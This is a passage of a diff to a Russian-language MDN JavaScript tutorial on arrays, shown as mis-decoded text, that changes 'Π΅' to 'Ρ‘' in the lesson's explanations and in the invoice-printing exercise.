ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, хранящиСся Π² массивС.</p>
+<p class="summary">Π’ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ этого Ρ€Π°Π·Π΄Π΅Π»Π°, ΠΌΡ‹ познакомимся с массивами — Π»Π°ΠΊΠΎΠ½ΠΈΡ‡Π½Ρ‹ΠΌ способом хранСния списка элСмСнтов ΠΏΠΎΠ΄ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ. ΠœΡ‹ ΠΏΠΎΠΉΠΌΡ‘ΠΌ, Ρ‡Π΅ΠΌ ΠΎΠ½ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹, Π·Π°Ρ‚Π΅ΠΌ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒΒ ΠΈΒ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒΒ ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, хранящиСся Π² массивС.</p>
<table class="learn-box standard-table">
<tbody>
@@ -34,9 +34,9 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Arrays
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_массив">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ массив?</h2>
-<p>ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Β«ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ спискам»; ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π² основном ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, хранящихся Π² спискС. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ массива ΠΌΠΎΠ³ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ значСния, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ Ρ€Π°Π·Π½ΠΈΡ†Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΠΈ списка ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΈ Π΄Π΅Π»Π°Ρ‚ΡŒ супСр ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΈ эффСктивныС Π²Π΅Ρ‰ΠΈ со списком, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ список ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ ΠΈΡ… Ρ†Π΅Π½Ρ‹, хранящиСся Π² массивС, ΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΡ… ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΈ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π½Π° счСтС-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅, общая сумма всСх Ρ†Π΅Π½ ΠΈ распСчатка ΠΎΠ±Ρ‰Π΅ΠΉ Ρ†Π΅Π½Ρ‹ Π²Π½ΠΈΠ·Ρƒ.</p>
+<p>ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Β«ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ спискам»; ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π² основном ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, хранящихся Π² спискС. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ массива ΠΌΠΎΠ³ΡƒΡ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ значСния, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Ρ€Π°Π·Π½ΠΈΡ†Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΠΈ списка ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΈ Π΄Π΅Π»Π°Ρ‚ΡŒ супСр ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΈ эффСктивныС Π²Π΅Ρ‰ΠΈ со списком, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ список ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ ΠΈΡ… Ρ†Π΅Π½Ρ‹, хранящиСся Π² массивС, ΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΡ… ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΈ Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π½Π° счётС-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅, общая сумма всСх Ρ†Π΅Π½ ΠΈ распСчатка ΠΎΠ±Ρ‰Π΅ΠΉ Ρ†Π΅Π½Ρ‹ Π²Π½ΠΈΠ·Ρƒ.</p>
-<p>Если Π±Ρ‹ Ρƒ нас Π½Π΅ Π±Ρ‹Π»ΠΎ массивов, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт. НаписаниС Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π·Π°ΠΉΠΌΠ΅Ρ‚ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, сам ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½Π΅Π΅ эффСктивным ΠΈ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Π½Ρ‹ΠΌΒ  ошибкам. Если Π±Ρ‹ Ρƒ нас Π±Ρ‹Π»ΠΎ 10 элСмСнтов для добавлСния Π² счСт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Ρƒ, это Π΅Ρ‰Π΅ ΠΊΡƒΠ΄Π° Π½ΠΈ шло, Π½ΠΎ ΠΊΠ°ΠΊ насчСт 100 ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ²? Или 1000? ΠœΡ‹ вСрнСмся ΠΊ этому ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΏΠΎΠ·ΠΆΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p>Если Π±Ρ‹ Ρƒ нас Π½Π΅ Π±Ρ‹Π»ΠΎ массивов, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт. НаписаниС Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π·Π°ΠΉΠΌΡ‘Ρ‚ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, сам ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ΅Π½Π΅Π΅ эффСктивным ΠΈ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Π½Ρ‹ΠΌΒ  ошибкам. Если Π±Ρ‹ Ρƒ нас Π±Ρ‹Π»ΠΎ 10 элСмСнтов для добавлСния Π² счёт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Ρƒ, это Π΅Ρ‰Ρ‘ ΠΊΡƒΠ΄Π° Π½ΠΈ шло, Π½ΠΎ ΠΊΠ°ΠΊ насчёт 100 ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ²? Или 1000? ΠœΡ‹ вСрнёмся ΠΊ этому ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΏΠΎΠ·ΠΆΠ΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
<p><span id="result_box" lang="ru"><span>Как ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΡƒΠ·Π½Π°Π΅ΠΌ ΠΎ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… основах массивов, ввСдя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π² консоль JavaScript.</span> <span>ΠœΡ‹ прСдоставили ΠΎΠ΄ΠΈΠ½ Π½ΠΈΠΆΠ΅ (Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span></span> <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">open this console</a> Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΎΠΊΠ½Π΅, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer console</a>, Ссли Π²Π°ΠΌ ΡƒΠ³ΠΎΠ΄Π½ΠΎ).</p>
@@ -250,7 +250,7 @@ dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre>
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΈ_ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅_элСмСнтов_массива">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ элСмСнтов массива</h3>
-<p>ΠœΡ‹ Π΅Ρ‰Π΅ Π½Π΅ рассмотрСли Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ элСмСнтов массива - Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° это сСйчас. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив <code>myArray</code> , с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅. Если Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ ΠΏΡ€ΠΎΡˆΠ»ΠΈ этот Ρ€Π°Π·Π΄Π΅Π», сначала создайтС массив Π² консоли:</p>
+<p>ΠœΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ рассмотрСли Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ элСмСнтов массива - Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° это сСйчас. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив <code>myArray</code> , с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΡ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΠ»ΠΈΡΡŒ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅. Если Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΡ€ΠΎΡˆΠ»ΠΈ этот Ρ€Π°Π·Π΄Π΅Π», сначала создайтС массив Π² консоли:</p>
<pre class="brush: js">var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre>
@@ -297,15 +297,15 @@ removedItem;</pre>
<h2 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°_ΠŸΠ΅Ρ‡Π°Ρ‚ΡŒ_ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ²!">ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°: ΠŸΠ΅Ρ‡Π°Ρ‚ΡŒΒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ²!</h2>
-<p>ВСрнСмся ΠΊ описанному Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ - распСчатываСм названия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ Ρ†Π΅Π½Β Π½Π° счСт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Ρƒ, Π·Π°Ρ‚Π΅ΠΌ суммируСм Ρ†Π΅Π½Ρ‹ ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌ ΠΈΡ… Π²Π½ΠΈΠ·Ρƒ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, содСрТащиС числа - каТдая ΠΈΠ· этих ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΎΠΊ являСтся мСстом, Π³Π΄Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² ΠΊΠΎΠ΄. Они Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ:</p>
+<p>ВСрнёмся ΠΊ описанному Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ - распСчатываСм названия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² ΠΈ Ρ†Π΅Π½Β Π½Π° счёт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Ρƒ, Π·Π°Ρ‚Π΅ΠΌ суммируСм Ρ†Π΅Π½Ρ‹ ΠΈ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅ΠΌ ΠΈΡ… Π²Π½ΠΈΠ·Ρƒ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, содСрТащиС числа - каТдая ΠΈΠ· этих ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΎΠΊ являСтся мСстом, Π³Π΄Π΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² ΠΊΠΎΠ΄. Они Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ:</p>
<ol>
- <li>НиТС коммСнтария <code>// number 1</code>Β  имССтся ряд строк, каТдая из ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… содСрТит Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π° ΠΈ Ρ†Π΅Π½Ρƒ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ. НуТно ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ ΠΈΡ… Π² массив ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎΒ  ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌΒ Β <code>products</code>.</li>
- <li>На строкС с коммСнтариСм <code>// number 2</code>  начинаСтся Ρ†ΠΈΠΊΠ»Β for. Π’ строкС Ρ†ΠΈΠΊΠ»Π° имССтся<code> i &lt;= 0</code>, Ρ‡Ρ‚ΠΎ являСтся условиСм , котороС заставляСт Ρ†ΠΈΠΊΠ» for Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ i сообщаСт Ρ†ΠΈΠΊΠ»Ρƒ:Β Β«ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° <code>i</code> мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π΅Π½ 0Β», ΠΏΡ€ΠΈ этом <code>i</code> начинаСтся с 0. НуТно Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒΒ <code>i &lt;= 0</code> условным тСстом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ останавливаСт Ρ†ΠΈΠΊΠ», ΠΊΠΎΠ³Π΄Π° <code>i</code> пСрСстаСт Π±Ρ‹Ρ‚ΡŒΒ ΠΌΠ΅Π½ΡŒΡˆΠ΅ Π΄Π»ΠΈΠ½Ρ‹ массива <code>products</code>Β .</li>
- <li>Под ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ <code>// number 3</code> ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали строку ΠΊΠΎΠ΄Π°, которая Ρ€Π°Π·Π±ΠΈΠ²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ элСмСнт массива (<code>name:price</code>) Π½Π° Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнта: ΠΎΠ΄ΠΈΠ½ содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя, Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ - содСрТащСС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ†Π΅Π½Ρƒ. Если нС Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Useful_string_methods">ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ строковыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</a>, Π° Π»ΡƒΡ‡ΡˆΠ΅, посмотритС Ρ€Π°Π·Π΄Π΅Π» {{anch("ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ строками ΠΈ массивами")}} этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.</li>
- <li>Π’ Ρ€Π°ΠΌΠΊΠ°Ρ… ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅ строки Π½ΡƒΠΆΠ½ΠΎΒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π΅Π½Ρƒ ΠΈΠ· строки Π² число. Если Π½Π΅ ΠΏΠΎΠΌΠ½ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ ΡΠΎΒ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘Ρ‚Ρ€ΠΎΠΊΠΈ">строки Π² JavaScript</a>.</li>
- <li>Π’ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части ΠΊΠΎΠ΄Π° Π΅ΡΡ‚ΡŒ пСрСмСнная с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>total</code> , которая содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>0</code>. Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° (ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌΒ <code>// number 4</code>) Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ строку, которая добавляСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Ρ†Π΅Π½Ρƒ Ρ‚ΠΎΠ²Π°Ρ€Π° ΠΊ этой суммС Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ΄Π° Π±Ρ‹Π»Π° вывСдСна коррСктная сумма Π² счСт-Ρ„Π°ΠΊΡ‚ΡƒΡ€Π΅. Для этого Π²Π°ΠΌ моТСт понадобится <a href="/ru/docs/Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Math#ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_присваивания">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания</a>.</li>
- <li>Под ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌΒ <code>// number 5</code>Β Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ строку Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ пСрСмСнная <code>itemText</code> Π±Ρ‹Π»Π° Ρ€Π°Π²Π½Π° "current item name β€” $current item price",Β  Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ "Shoes β€” $23.99" для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ случая, чтобы коррСктная информация для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта 